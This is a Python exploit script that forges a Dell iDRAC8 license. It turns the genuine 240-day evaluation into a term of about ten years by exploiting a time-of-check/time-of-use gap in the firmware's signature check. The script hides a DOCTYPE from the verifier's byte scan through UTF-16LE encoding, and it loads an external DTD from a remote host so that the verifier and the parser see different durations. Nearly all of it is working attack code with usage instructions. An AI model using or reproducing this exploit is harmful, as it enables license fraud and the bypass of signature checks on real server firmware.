#!/usr/bin/env python3
"""Build a TOCTOU license that turns the 240-day eval into a ~10-year term.

Two firmware details matter:

1. `lmVerifySignature` rejects any document containing the ASCII bytes
   "<!DOCTYPE", at *any* offset (the scan loop at 0xe5f4..0xe61e increments
   by 1; the "+10" is only the bounds check).  Encoding the whole file as
   UTF-16LE with a BOM hides the DOCTYPE from that byte scan, while libxml2
   detects the BOM and parses normally.

2. The external DTD is pulled through an *external parameter entity* in the
   internal subset.  libxml2 2.9.2 loads those unconditionally
   (xmlParsePEReference -> xmlNewEntityInputStream -> xmlLoadExternalEntity);
   libxml2 >= 2.11 added a gate that 2.9.2 does not have.

The document is Dell's genuine eval with `lns:Duration="P240D"` replaced by
`lns:Duration="&x;"`.  The verifier is served `<!ENTITY x "P240D">` (digest
still matches), the struct parser is served `<!ENTITY x "P3650D">`.

Usage:
    python build_duration.py --host 192.0.2.20 --days 3650
"""
import argparse
import os

EVAL = os.path.join(os.path.dirname(__file__), "..", "licenses",
                    "iDRAC8_Enterprise_Extended_Eval_License.xml")
OLD = b'<lns:Evaluation lns:Duration="P240D"/>'
NEW = b'<lns:Evaluation lns:Duration="&x;"/>'
DECL = b'<?xml version="1.0"?>\n'


def build_text(host: str, port: int, days: int, dtd_url: str | None) -> str:
    d = open(EVAL, "rb").read()
    assert d.startswith(DECL), "unexpected eval prologue"

    comment_end = d.index(b"-->") + 3
    comment = d[len(DECL):comment_end]
    body = d[comment_end:]

    url = dtd_url or f"http://{host}:{port}/license.dtd"
    doctype = (
        '<!DOCTYPE lns:LicenseClass [\n'
        f'<!ENTITY % d SYSTEM "{url}">\n'
        '%d;\n'
        ']>\n'
    ).encode()

    assert d.count(OLD) == 1, "unexpected eval body"
    body = body.replace(OLD, NEW)

    text = (b'<?xml version="1.0" encoding="UTF-16"?>\n'
            + comment + b"\n" + doctype + body)
    return text.decode("utf-8")


def build(host: str, port: int, days: int, dtd_url: str | None = None,
          utf16: bool = True) -> bytes:
    text = build_text(host, port, days, dtd_url)
    if utf16:
        return b"\xff\xfe" + text.encode("utf-16-le")
    return text.encode("utf-8")


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="192.0.2.20")
    ap.add_argument("--port", type=int, default=8000)
    ap.add_argument("--days", type=int, default=3650,
                    help="parser-visible term length (keep < ~4300 to stay "
                         "inside 32-bit time_t)")
    ap.add_argument("--dtd-url", default=None)
    ap.add_argument("--utf8", action="store_true",
                    help="write UTF-8 (visible to the DOCTYPE scan; diagnostic only)")
    ap.add_argument("--no-dtd", action="store_true",
                    help="do not rewrite dtd_dur_parser.dtd")
    ap.add_argument("--out", default="forged_duration.xml")
    a = ap.parse_args()

    out = build(a.host, a.port, a.days, a.dtd_url, utf16=not a.utf8)
    open(a.out, "wb").write(out)

    if not a.no_dtd:
        dtd = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                           "dtd_dur_parser.dtd")
        open(dtd, "w", newline="\n").write(f'<!ENTITY x "P{a.days}D">\n')
        print(f"updated {dtd}")

    print(f"wrote {a.out} ({len(out)} bytes, "
          f"{'UTF-16LE' if not a.utf8 else 'UTF-8'})")
    print(f"raw ASCII '<!DOCTYPE' present: {b'<!DOCTYPE' in out}")
    print(f"DTD URL: {(a.dtd_url or f'http://{a.host}:{a.port}/license.dtd')}")
    print(f"verifier duration: P240D   parser duration: P{a.days}D")


if __name__ == "__main__":
    main()
